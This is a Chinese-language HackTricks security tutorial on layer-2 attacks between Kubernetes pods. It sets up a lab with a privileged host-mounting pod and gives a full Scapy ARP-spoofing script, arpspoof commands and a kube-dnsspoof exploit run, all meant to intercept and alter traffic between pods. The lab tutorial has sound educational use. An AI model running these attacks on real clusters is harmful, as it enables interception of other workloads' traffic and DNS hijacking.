Kubernetes Network Attacks

支持 HackTricks

介绍

在 Kubernetes 中,观察到默认行为允许在 同一节点上所有容器之间建立连接。这适用于命名空间的区别。这样的连接延伸到 第 2 层(以太网)。因此,这种配置可能使系统暴露于漏洞之中。具体而言,它为 恶意容器 执行 ARP 欺骗攻击 提供了可能性,目标是同一节点上的其他容器。在这种攻击中,恶意容器可以欺骗性地拦截或修改针对其他容器的网络流量。

ARP 欺骗攻击涉及 攻击者在局域网中发送伪造的 ARP(地址解析协议)消息。这导致 攻击者的 MAC 地址与网络上合法计算机或服务器的 IP 地址关联。在成功执行此类攻击后,攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在 OSI 模型的第 2 层上执行,这就是为什么 Kubernetes 在此层的默认连接性引发安全担忧。

在场景中,将创建 4 台机器:

  • ubuntu-pe: 特权机器,用于逃逸到节点并检查指标(攻击不需要)

  • ubuntu-attack: 恶意 容器在默认命名空间中

  • ubuntu-victim: 受害者 机器在 kube-system 命名空间中

  • mysql: 受害者 机器在默认命名空间中

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

基本的 Kubernetes 网络

如果您想了解这里介绍的网络主题的更多细节,请查看参考资料。

ARP

一般来说,节点内部的 pod-to-pod 网络是通过一个连接所有 pod 的 bridge 实现的。这个 bridge 被称为“cbr0”。(一些网络插件会安装它们自己的 bridge。)cbr0 还可以处理 ARP(地址解析协议)解析。当一个传入的数据包到达 cbr0 时,它可以使用 ARP 解析目标 MAC 地址。

这一事实意味着,默认情况下,在同一节点上运行的每个 pod都能够在以太网层(第 2 层)上与同一节点中的任何其他 pod 进行通信(与命名空间无关)。

因此,可以在同一节点中的 pod 之间执行 ARP 欺骗攻击。

DNS

在 Kubernetes 环境中,您通常会发现 1 个(或多个)DNS 服务正在运行,通常在 kube-system 命名空间中:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

在之前的信息中,你可以看到一些有趣的内容,服务的IP10.96.0.10,但运行该服务的pod的IP172.17.0.2

如果你检查任何pod内部的DNS地址,你会发现类似这样的内容:

cat /etc/resolv.conf
nameserver 10.96.0.10

然而,pod 不知道如何到达该地址,因为在这种情况下pod范围是172.17.0.10/26。

因此,pod将把DNS请求发送到地址10.96.0.10,该地址将被cbr0转换172.17.0.2

这意味着pod的DNS请求****总是会通过桥接转换****服务IP到端点IP,即使DNS服务器与pod在同一子网络中。

了解这一点,并且知道ARP攻击是可能的,节点中的pod将能够拦截子网络每个pod桥接之间的流量修改来自DNS服务器的DNS响应DNS欺骗)。

此外,如果DNS服务器与攻击者在同一节点中,攻击者可以拦截集群中任何pod的所有DNS请求(在DNS服务器和桥接之间)并修改响应。

同一节点中pods的ARP欺骗

我们的目标是窃取至少从ubuntu-victim到mysql的通信

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

正如之前提到的,如果你攻陷了与DNS服务器pod在同一节点的pod,你可以通过ARPSpoofing桥接和DNS pod进行中间人攻击修改所有DNS响应

你可以在https://github.com/danielsagi/kube-dnsspoof/找到一个很好的工具教程来测试这个。

在我们的场景中,下载攻击者pod中的工具并创建一个**名为hosts的文件**,其中包含你想要欺骗域名,例如:

cat hosts
google.com. 1.1.1.1

对ubuntu-victim机器执行攻击:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

如果你尝试创建自己的 DNS 欺骗脚本,仅仅修改 DNS 响应不行的,因为响应将会有源 IP恶意 pod的 IP 地址,并且不会接受。 你需要生成一个新的 DNS 数据包,其源 IP为受害者发送 DNS 请求的DNS(类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP,而不是 DNS 服务器 IP,更多内容在介绍中)。

捕获流量

工具 Mizu 是一个简单而强大的 API 流量查看器,用于 Kubernetes,能够让你查看微服务之间的所有 API 通信,以帮助你调试和排查回归问题。 它将在选定的 pods 中安装代理,收集它们的流量信息并在一个 web 服务器上显示。然而,你需要高权限的 K8s 权限(而且这并不是很隐蔽)。

参考资料

支持 HackTricks

Last updated